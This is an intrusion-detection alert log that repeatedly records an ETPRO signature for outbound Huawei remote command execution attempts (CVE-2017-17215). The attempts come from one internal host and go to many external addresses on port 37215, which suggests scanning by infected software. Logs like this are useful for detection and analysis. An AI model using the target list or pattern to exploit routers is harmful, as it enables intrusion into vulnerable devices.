2024-09-25T14:14:46.922591+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49942	156.181.180.92	37215	TCP
2024-09-25T14:14:46.924608+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45678	156.160.112.195	37215	TCP
2024-09-25T14:14:46.928532+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38452	156.174.86.165	37215	TCP
2024-09-25T14:14:46.928617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49436	41.32.71.209	37215	TCP
2024-09-25T14:14:47.877435+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56766	197.56.33.39	37215	TCP
2024-09-25T14:14:47.892801+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44276	156.250.43.76	37215	TCP
2024-09-25T14:14:47.892807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54742	156.189.114.235	37215	TCP
2024-09-25T14:14:47.892993+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49716	41.72.103.157	37215	TCP
2024-09-25T14:14:47.893041+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50618	156.127.70.28	37215	TCP
2024-09-25T14:14:47.893052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53178	197.12.87.129	37215	TCP
2024-09-25T14:14:47.893748+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45398	41.255.242.176	37215	TCP
2024-09-25T14:14:47.894110+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52736	156.212.161.32	37215	TCP
2024-09-25T14:14:47.894563+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36302	197.94.200.193	37215	TCP
2024-09-25T14:14:47.894584+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39388	197.60.166.192	37215	TCP
2024-09-25T14:14:47.894700+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35916	41.239.114.94	37215	TCP
2024-09-25T14:14:47.896235+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41560	156.204.119.239	37215	TCP
2024-09-25T14:14:47.896242+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48558	197.141.72.222	37215	TCP
2024-09-25T14:14:47.897857+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58298	156.67.103.139	37215	TCP
2024-09-25T14:14:47.907519+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55208	41.235.119.134	37215	TCP
2024-09-25T14:14:47.907525+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37980	156.18.192.245	37215	TCP
2024-09-25T14:14:47.923543+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52406	41.139.27.47	37215	TCP
2024-09-25T14:14:47.927118+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49820	41.62.184.97	37215	TCP
2024-09-25T14:14:47.928678+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32886	41.212.141.92	37215	TCP
2024-09-25T14:14:47.928697+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43522	156.251.54.231	37215	TCP
2024-09-25T14:14:47.938632+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45472	156.216.176.0	37215	TCP
2024-09-25T14:14:47.940208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59658	197.167.59.99	37215	TCP
2024-09-25T14:14:47.942355+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42324	41.196.7.100	37215	TCP
2024-09-25T14:14:48.906894+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33616	41.13.242.126	37215	TCP
2024-09-25T14:14:48.906930+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55270	41.33.196.235	37215	TCP
2024-09-25T14:14:48.907298+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51604	197.89.121.177	37215	TCP
2024-09-25T14:14:48.907365+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34696	197.39.234.102	37215	TCP
2024-09-25T14:14:48.907420+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42150	156.225.45.70	37215	TCP
2024-09-25T14:14:48.907569+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56850	197.66.212.76	37215	TCP
2024-09-25T14:14:48.908142+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50562	197.66.37.45	37215	TCP
2024-09-25T14:14:48.908934+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48060	156.181.128.158	37215	TCP
2024-09-25T14:14:48.909014+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37832	156.94.130.72	37215	TCP
2024-09-25T14:14:48.909108+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37736	156.234.141.152	37215	TCP
2024-09-25T14:14:48.909184+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45812	156.239.3.244	37215	TCP
2024-09-25T14:14:48.922963+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35082	156.81.18.222	37215	TCP
2024-09-25T14:14:48.923057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50012	197.162.20.115	37215	TCP
2024-09-25T14:14:48.923260+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51756	41.86.154.216	37215	TCP
2024-09-25T14:14:48.923552+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34908	41.199.44.130	37215	TCP
2024-09-25T14:14:48.923622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57370	197.225.21.22	37215	TCP
2024-09-25T14:14:48.926918+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39130	197.217.4.140	37215	TCP
2024-09-25T14:14:48.928710+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37648	156.236.249.253	37215	TCP
2024-09-25T14:14:48.940362+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45114	197.103.231.195	37215	TCP
2024-09-25T14:14:48.942744+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32826	156.5.197.117	37215	TCP
2024-09-25T14:14:48.944349+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50324	41.231.47.126	37215	TCP
2024-09-25T14:14:48.944356+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41800	156.45.38.194	37215	TCP
2024-09-25T14:14:48.944366+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39926	156.203.208.6	37215	TCP
2024-09-25T14:14:48.973658+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48740	197.149.161.125	37215	TCP
2024-09-25T14:14:49.020679+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59814	197.212.249.59	37215	TCP
2024-09-25T14:14:49.073365+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38224	156.241.90.124	37215	TCP
2024-09-25T14:14:49.923205+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36472	197.141.193.242	37215	TCP
2024-09-25T14:14:49.938373+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55210	41.233.32.150	37215	TCP
2024-09-25T14:14:49.938732+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60628	197.198.142.167	37215	TCP
2024-09-25T14:14:49.939113+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56270	41.197.74.220	37215	TCP
2024-09-25T14:14:49.939213+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60550	156.225.218.158	37215	TCP
2024-09-25T14:14:49.939314+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44318	197.204.136.152	37215	TCP
2024-09-25T14:14:49.939509+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52650	41.217.237.46	37215	TCP
2024-09-25T14:14:49.939933+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37368	156.187.201.235	37215	TCP
2024-09-25T14:14:49.940800+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50806	197.78.143.131	37215	TCP
2024-09-25T14:14:49.940958+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53872	197.117.156.241	37215	TCP
2024-09-25T14:14:49.940967+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41022	41.156.111.157	37215	TCP
2024-09-25T14:14:49.942798+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39358	197.67.2.0	37215	TCP
2024-09-25T14:14:49.943180+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49698	41.84.144.155	37215	TCP
2024-09-25T14:14:49.943244+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43554	197.84.156.29	37215	TCP
2024-09-25T14:14:49.943408+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42866	197.135.138.40	37215	TCP
2024-09-25T14:14:49.943497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59742	156.248.57.255	37215	TCP
2024-09-25T14:14:49.955255+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41288	41.51.35.238	37215	TCP
2024-09-25T14:14:49.955269+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59556	41.0.149.6	37215	TCP
2024-09-25T14:14:49.956306+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32780	41.191.135.128	37215	TCP
2024-09-25T14:14:49.956318+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49938	156.170.145.195	37215	TCP
2024-09-25T14:14:49.956378+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51050	41.57.194.114	37215	TCP
2024-09-25T14:14:49.958075+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38768	41.79.119.224	37215	TCP
2024-09-25T14:14:49.958177+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38696	156.232.20.55	37215	TCP
2024-09-25T14:14:49.960058+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59130	156.158.105.241	37215	TCP
2024-09-25T14:14:49.960202+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57342	197.183.125.169	37215	TCP
2024-09-25T14:14:49.960299+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43590	156.171.152.43	37215	TCP
2024-09-25T14:14:49.973639+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42544	156.234.253.235	37215	TCP
2024-09-25T14:14:49.974326+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39246	197.43.150.11	37215	TCP
2024-09-25T14:14:49.984891+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58478	41.130.77.93	37215	TCP
2024-09-25T14:14:49.985641+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48770	197.113.75.39	37215	TCP
2024-09-25T14:14:49.991198+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33990	156.131.47.109	37215	TCP
2024-09-25T14:14:50.016848+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58634	41.107.245.221	37215	TCP
2024-09-25T14:14:50.048184+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46006	41.90.194.115	37215	TCP
2024-09-25T14:14:50.298367+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41926	156.133.226.216	37215	TCP
2024-09-25T14:14:50.313821+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35386	197.149.125.92	37215	TCP
2024-09-25T14:14:50.313985+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58780	41.191.205.246	37215	TCP
2024-09-25T14:14:50.314640+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58370	41.192.117.40	37215	TCP
2024-09-25T14:14:50.315410+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34300	41.18.29.74	37215	TCP
2024-09-25T14:14:50.315954+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55792	41.219.173.139	37215	TCP
2024-09-25T14:14:50.317660+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39656	197.62.26.28	37215	TCP
2024-09-25T14:14:50.329532+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59048	197.31.95.124	37215	TCP
2024-09-25T14:14:50.333248+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51722	156.220.22.110	37215	TCP
2024-09-25T14:14:50.348708+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33930	156.13.166.230	37215	TCP
2024-09-25T14:14:50.350762+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53898	41.9.140.39	37215	TCP
2024-09-25T14:14:50.938316+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56492	41.98.106.247	37215	TCP
2024-09-25T14:14:50.938622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42652	41.119.211.219	37215	TCP
2024-09-25T14:14:50.938658+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38024	197.134.95.236	37215	TCP
2024-09-25T14:14:50.954208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48264	197.124.53.141	37215	TCP
2024-09-25T14:14:50.954485+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48432	197.142.4.242	37215	TCP
2024-09-25T14:14:50.954491+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33964	197.23.218.89	37215	TCP
2024-09-25T14:14:50.954493+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49924	41.34.28.21	37215	TCP
2024-09-25T14:14:50.954990+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53010	197.52.64.150	37215	TCP
2024-09-25T14:14:50.956056+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60926	156.15.229.166	37215	TCP
2024-09-25T14:14:50.956079+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48954	197.163.1.4	37215	TCP
2024-09-25T14:14:50.969723+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40818	156.105.125.145	37215	TCP
2024-09-25T14:14:50.969831+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53736	156.240.45.175	37215	TCP
2024-09-25T14:14:50.969867+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43352	156.99.199.8	37215	TCP
2024-09-25T14:14:50.970050+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54524	41.199.199.160	37215	TCP
2024-09-25T14:14:50.970123+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50156	197.74.218.71	37215	TCP
2024-09-25T14:14:50.970463+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42848	197.251.62.7	37215	TCP
2024-09-25T14:14:50.970482+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49594	197.165.193.4	37215	TCP
2024-09-25T14:14:50.970533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52138	197.84.55.128	37215	TCP
2024-09-25T14:14:50.970533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35648	41.249.188.230	37215	TCP
2024-09-25T14:14:50.970547+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36956	41.229.210.177	37215	TCP
2024-09-25T14:14:50.970721+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40060	156.172.193.46	37215	TCP
2024-09-25T14:14:50.970775+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59736	156.232.193.116	37215	TCP
2024-09-25T14:14:50.971125+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36706	156.181.223.109	37215	TCP
2024-09-25T14:14:50.971488+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41070	41.137.147.229	37215	TCP
2024-09-25T14:14:50.971573+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52832	156.41.196.219	37215	TCP
2024-09-25T14:14:50.971760+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43960	156.93.5.52	37215	TCP
2024-09-25T14:14:50.972312+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47390	41.47.34.165	37215	TCP
2024-09-25T14:14:50.973831+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41852	156.40.192.176	37215	TCP
2024-09-25T14:14:50.983236+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58134	156.38.30.116	37215	TCP
2024-09-25T14:14:50.983237+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50844	156.81.68.0	37215	TCP
2024-09-25T14:14:50.983317+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50632	197.95.136.237	37215	TCP
2024-09-25T14:14:50.983322+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60278	156.25.22.251	37215	TCP
2024-09-25T14:14:50.983340+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45334	197.216.198.88	37215	TCP
2024-09-25T14:14:50.983400+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36168	156.138.131.129	37215	TCP
2024-09-25T14:14:50.983576+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37536	41.83.219.54	37215	TCP
2024-09-25T14:14:50.985586+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56838	41.83.24.63	37215	TCP
2024-09-25T14:14:50.989268+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38784	197.17.187.114	37215	TCP
2024-09-25T14:14:50.989637+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35782	41.233.172.226	37215	TCP
2024-09-25T14:14:50.991134+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49102	41.43.237.174	37215	TCP
2024-09-25T14:14:50.991471+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55370	156.47.117.154	37215	TCP
2024-09-25T14:14:50.991511+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34910	156.30.61.21	37215	TCP
2024-09-25T14:14:51.006681+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37756	41.20.79.26	37215	TCP
2024-09-25T14:14:51.018224+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54120	197.210.249.44	37215	TCP
2024-09-25T14:14:55.364466+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57860	41.125.213.101	37215	TCP
2024-09-25T14:14:55.407449+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39748	41.227.241.60	37215	TCP
2024-09-25T14:14:55.469802+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56150	197.128.9.85	37215	TCP
2024-09-25T14:14:55.548299+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35064	156.194.13.151	37215	TCP
2024-09-25T14:14:55.585372+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37634	197.0.153.138	37215	TCP
2024-09-25T14:14:55.719626+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45704	156.191.118.198	37215	TCP
2024-09-25T14:14:55.721750+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55068	41.4.251.28	37215	TCP
2024-09-25T14:14:55.850871+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39128	156.172.19.200	37215	TCP
2024-09-25T14:14:55.860814+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53542	41.149.114.6	37215	TCP
2024-09-25T14:14:56.188886+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51472	197.71.199.32	37215	TCP
2024-09-25T14:14:57.206616+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52888	197.14.123.207	37215	TCP
2024-09-25T14:14:57.235920+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51052	197.56.13.125	37215	TCP
2024-09-25T14:14:57.251637+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53306	41.129.172.123	37215	TCP
2024-09-25T14:14:57.251940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42574	156.76.171.250	37215	TCP
2024-09-25T14:14:57.252023+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46034	197.51.153.39	37215	TCP
2024-09-25T14:14:57.252219+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49708	156.91.181.215	37215	TCP
2024-09-25T14:14:57.253054+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51808	41.191.62.120	37215	TCP
2024-09-25T14:14:57.253208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38898	197.31.123.253	37215	TCP
2024-09-25T14:14:57.268924+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43276	41.81.148.253	37215	TCP
2024-09-25T14:14:57.269063+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47774	156.76.63.3	37215	TCP
2024-09-25T14:14:57.270764+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33646	197.129.248.125	37215	TCP
2024-09-25T14:14:57.272936+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33528	197.53.101.66	37215	TCP
2024-09-25T14:14:57.284597+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48092	41.157.230.248	37215	TCP
